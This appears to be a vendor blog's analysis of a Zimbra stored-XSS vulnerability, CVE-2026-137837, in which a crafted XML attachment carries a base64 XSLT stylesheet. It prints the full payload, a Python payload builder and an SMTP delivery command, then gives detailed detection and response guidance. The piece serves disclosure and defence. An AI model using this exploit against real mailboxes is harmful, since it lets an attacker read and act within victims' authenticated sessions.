Automated Threat Modeling

Brief Summary: Zimbra Collaboration Suite CVE-2026-137837 Stored XSS via XML Stylesheet Processing Instruction (with PoC and Detection)

A summary of CVE-2026-137837, a critical stored XSS in Zimbra Collaboration Suite where a crafted XML attachment keeps an xml-stylesheet processing instruction and runs JavaScript in the Zimbra origin. Includes the public PoC and detection guidance.

CVE Analysis

9 min read

Gaurav Sarraf
Gaurav Sarraf

2026-12-03

Brief Summary: Zimbra Collaboration Suite CVE-2026-137837 Stored XSS via XML Stylesheet Processing Instruction (with PoC and Detection)

Introduction

A crafted XML attachment, emailed by anyone on the internet, can run attacker-controlled JavaScript inside a Zimbra user's authenticated mailbox session. That is CVE-2026-137837, a stored cross-site scripting flaw in Zimbra Collaboration Suite (ZCS). The server sanitizes one representation of the document, and the browser renders a different, dangerous one.

Zimbra Collaboration Suite is an enterprise email and collaboration platform with mail, calendars, contacts, tasks and file sharing. The vendor reports hundreds of millions of users across more than 6,000 organizations in 127 countries, including more than 1,000 highly regulated institutions, which makes its mailbox web clients a recurring target for credential and data theft. ZCS ships both a Classic and a Modern web client that share a mailbox server but use different browser code, and that distinction is central to how this vulnerability is triggered.

Technical Information

The root cause is in Zimbra's XML sanitization path, specifically XHtmlDefang.java, which parses untrusted XML using a SAX parser and XHtmlDocumentHandler. The handler's processingInstruction callback reproduces the processing instruction target and data verbatim. An attacker-supplied xml-stylesheet processing instruction and its complete href, including a data: URI, pass through untouched. The sanitizer filters neither the target, nor the scheme, nor the embedded data.

This is not an injection through a conventional <script> element, an attribute, or a text node, which separates it from CVE-2026-137836 and an earlier SVG finding. The malicious logic never appears as plain markup in the sanitized output. It is carried inside a base64-encoded XSLT stylesheet referenced by the stylesheet processing instruction. The server sanitizes the static XML body, but the browser later applies the XSLT transform and produces active HTML after sanitization has already finished. The document the browser treats as active content is not the document the server finished sanitizing.

Content-type handling in NativeFormatter.java helps the delivery path. In the documented ZCS 10.1.20 implementation, application/xml is absent from the XML types forced to download, yet it is classified as scriptable and routed through XHtmlDefang. Zimbra therefore returns the sanitized XML inline on the authenticated Zimbra origin while retaining the stylesheet instruction. The observed response was HTTP 200 with Content-Type: application/xml;charset=utf-8.

Attack flow

  1. An attacker with ordinary email delivery capability sends the target a crafted XML attachment. No Zimbra attacker account is required for this email path.
  2. The attachment uses application/xml and carries an xml-stylesheet processing instruction whose href is a base64 data:text/xsl URI holding a self-contained XSLT 1.0 stylesheet.
  3. Zimbra serves the sanitized XML inline on the authenticated origin, keeping the stylesheet instruction intact.
  4. A signed-in recipient clicks the XML attachment filename in the Classic client. The browser fetches the inline part (for example /service/home/~/?auth=co&loc=en_US&id=MSG_ID&part=2), applies the stylesheet, and executes the resulting JavaScript in the Zimbra origin.

In the documented test, Preview and Download did not trigger execution, and Download used disp=a. This is a recipient-initiated attack, not a demonstrated zero-click. Successful execution permits mailbox content access and state-changing SOAP operations as the recipient. The same processing instruction sink is also reachable through attacker-published Briefcase content, but that path additionally requires an ordinary attacker account. The researcher also documents potential persistence when this XSS is chained with a separate delegation vulnerability. That persistence is a conditional chained impact, not an intrinsic capability of this CVE alone, and the sources establish browser execution under the user's Zimbra origin rather than operating system command execution on the server.

Proof of Concept

A public, runnable proof of concept exists in Rapid7 researcher Jonah Burgess's Zimbra vulnerability tracker, which NVD references directly as an advisory source. The repository contains both the writeup (vulnerabilities/CVE-2026-137837.md) and a complete Python exploit script (pocs/CVE-2026-137837/xslt_processing_instruction_xss.py).

The generated malicious XML attachment for alert(document.domain) looks like this:

<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,PD94bWwgdmVyc2lvbj0iMS4wIj8+PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iPjx4c2w6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4c2w6dGVtcGxhdGUgbWF0Y2g9Ii8iPjxodG1sPjxoZWFkPjx0aXRsZT5YTUwgcmVwb3J0PC90aXRsZT48L2hlYWQ+PGJvZHkgb25sb2FkPSJhbGVydChkb2N1bWVudC5kb21haW4pIj48cD5YTUwgcmVwb3J0IGxvYWRlZC48L3A+PC9ib2R5PjwvaHRtbD48L3hzbDp0ZW1wbGF0ZT48L3hzbDpzdHlsZXNoZWV0Pg=="?> <div xmlns="http://www.w3.org/1999/xhtml"><p>XML report</p></div>

The PoC script builds the XSLT stylesheet, base64-encodes it into the xml-stylesheet processing instruction, wraps the XML as an inline application/xml MIME attachment (default filename report.xml), and delivers it over unauthenticated SMTP. The key payload construction logic is:

def build_xml(javascript: str) -> str: escaped_javascript = html.escape(javascript, quote=True) stylesheet = ( '<?xml version="1.0"?>' '<xsl:stylesheet version="1.0" ' 'xmlns:xsl="http://www.w3.org/1999/XSL/Transform">' '<xsl:output method="html"/>' '<xsl:template match="/">' '<html><head><title>XML report</title></head>' f'<body onload="{escaped_javascript}">' '<p>XML report loaded.</p>' '</body></html>' '</xsl:template>' '</xsl:stylesheet>' ) encoded_stylesheet = base64.b64encode(stylesheet.encode()).decode() return ( '<?xml version="1.0" encoding="UTF-8"?>\n' '<?xml-stylesheet type="text/xsl" ' f'href="data:text/xsl;base64,{encoded_stylesheet}"?>\n' '<div xmlns="http://www.w3.org/1999/xhtml"><p>XML report</p></div>\n' )

Invocation:

python3 pocs/CVE-2026-137837/xslt_processing_instruction_xss.py \ --smtp-host mail.lab.local \ --victim [email protected] \ --sender [email protected]

The script defaults the payload to alert(document.domain) (configurable via --javascript) and prints confirmation once SMTP accepts the message, instructing the operator to click the attachment filename to trigger execution. The writeup reports that in testing the payload executed, with Zimbra returning HTTP/1.1 200 OK and Content-Type: application/xml and the stylesheet data URI intact. No fixed release had been established through ZCS 10.1.22 at disclosure.

Detection Methods

No vendor signature has been published for CVE-2026-137837, and the upstream checks found no YARA, Sigma, Snort or Suricata rule for it. What does exist is a content inspection tool and evidence handling guidance from the Rapid7 researcher who reported the bug.

What to look for and why

Because XHtmlDocumentHandler passes xml-stylesheet processing instructions through unchanged, the trigger lives inside the XML attachment itself as an <?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,..."?> line. The script never appears as plain markup. It sits inside a base64-encoded XSLT stylesheet that only the browser decodes and applies, after Zimbra has already sanitized the file. Grepping raw mail for <script or onload= will usually miss it. The reliable signal is the processing instruction plus a data: URI used as the stylesheet href. Decoding the base64 lets an analyst confirm that the transform produces active HTML. In the published example, the decoded stylesheet writes an HTML body with an onload handler.

Automated triage with inspect_message.py

The repository includes detections/inspect_message.py, which reads saved RFC 5322 (.eml) messages:

python3 detections/inspect_message.py evidence/message.eml

For each message it prints one JSON object holding the SHA-256 of the source file, the Message-ID, From, To, Subject and a list of indicators. Its logic:

  • It walks every non-multipart MIME part and decodes the transfer encoding first. A part is treated as XML if its content type ends in /xml or +xml, or its filename ends in .xml, .xhtml, .svg, .xsl or .xslt.
  • It parses the original bytes and honors the XML encoding declaration. It never executes HTML, JavaScript, XSLT or remote resources.
  • If it finds a processing instruction whose target is xml-stylesheet, it emits xml_stylesheet_instruction, tagged CVE-2026-137837, with the MIME part number and filename.
  • If the document contains a DTD, it stops without expanding entities and emits xml_dtd_not_inspected. Those files need manual review.
  • It also emits decoded_xml_markup when text nodes or attribute values decode to active-looking markup. That indicator is mapped to the sibling bugs CVE-2026-137836 and ZIMBRA-SVGXSS rather than this CVE, but it appears in the same sweep.
  • --max-mib caps the input size (default 50 MiB).

Read results as leads, not verdicts

XML stylesheets have legitimate uses. An xml_stylesheet_instruction hit means you should examine what the href points to and what document the browser would render. It does not prove an attack, and the guide says ordinary mail should not be blocked just because it appears in a report. An href with a data:text/xsl scheme in an inbound attachment from an outside sender deserves higher priority than a stylesheet reference to a known internal or vendor resource. The PoC defaults, such as a filename like report.xml, are trivial to change and should not be treated as indicators.

Web access telemetry: separating opens from downloads

The payload only fires when the recipient clicks the attachment filename in the Classic UI, which loads the MIME part inline. Preview and Download do not trigger it, and Download adds disp=a to the request. In the writeup, the triggering request had the shape /service/home/~/?auth=co&loc=en_US&id=MSG_ID&part=2, with no disp=a, and Zimbra answered HTTP/1.1 200 OK with Content-Type: application/xml;charset=utf-8. Hunters can match the message ID and part number from the inspector output against /service/home/ requests in proxy or nginx access logs to distinguish inline opens (possible execution) from downloads. A normal access log records URLs, not response bodies, so proving what was served requires keeping the response itself.

Preserving evidence

The guide asks responders to keep three things: the original RFC 5322 message with all MIME parts and delivery headers, the original XML attachment, and the response Zimbra served for it including its content type. A screenshot is not enough because it loses the encoded values that show the attack. The vulnerable code path also covers attacker-published Briefcase content, so Briefcase documents shared by ordinary accounts belong in scope.

If execution is suspected

The script runs on the authenticated Zimbra origin with the victim's session and can read the mailbox and make SOAP calls as the victim. The guide recommends reviewing the recipient's SOAP activity after the click, plus stored account state such as new mailbox access grants, forwarding rules or linked accounts. The payload may also have deleted the original message after running, so a missing message is not proof that nothing happened. The inspector cannot tell whether a recipient actually opened an attachment, it flags every xml-stylesheet instruction, and it does not reproduce every browser parser, so combining content inspection, access log correlation and account state review gives the most complete picture.

Affected Systems and Versions

NVD lists ZCS 10.1.0 through 10.1.21 as affected. The researcher's detailed tracker extends the affected range through 10.1.22 and states that no fixed release has been established through that version. So 10.1.22 should not be represented as a confirmed remedy. Zimbra's 10.1.22 release notes, dated December 2, 2026, describe fixes for bundled NGINX vulnerabilities, not a remedy for this XML sanitizer defect. The demonstrated trigger path is specific to the Classic web client's inline attachment opening workflow.

Vendor Security History

Zimbra has a documented history of serious exploitation. CISA and MS ISAC issued a joint advisory about active exploitation of several ZCS vulnerabilities in 2022, including CVE-2022-24682, CVE-2022-27924 and the CVE-2022-27925 plus CVE-2022-37042 chain. More recently, a July 2026 joint government advisory attributed Zimbra targeting to LAUNDRY BEAR and described exploitation of the separate XSS vulnerability CVE-2025-66376, patched in November 2025. This history shows that mailbox browser vulnerabilities are operationally relevant targets, but it does not establish exploitation or actor attribution for CVE-2026-137837.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization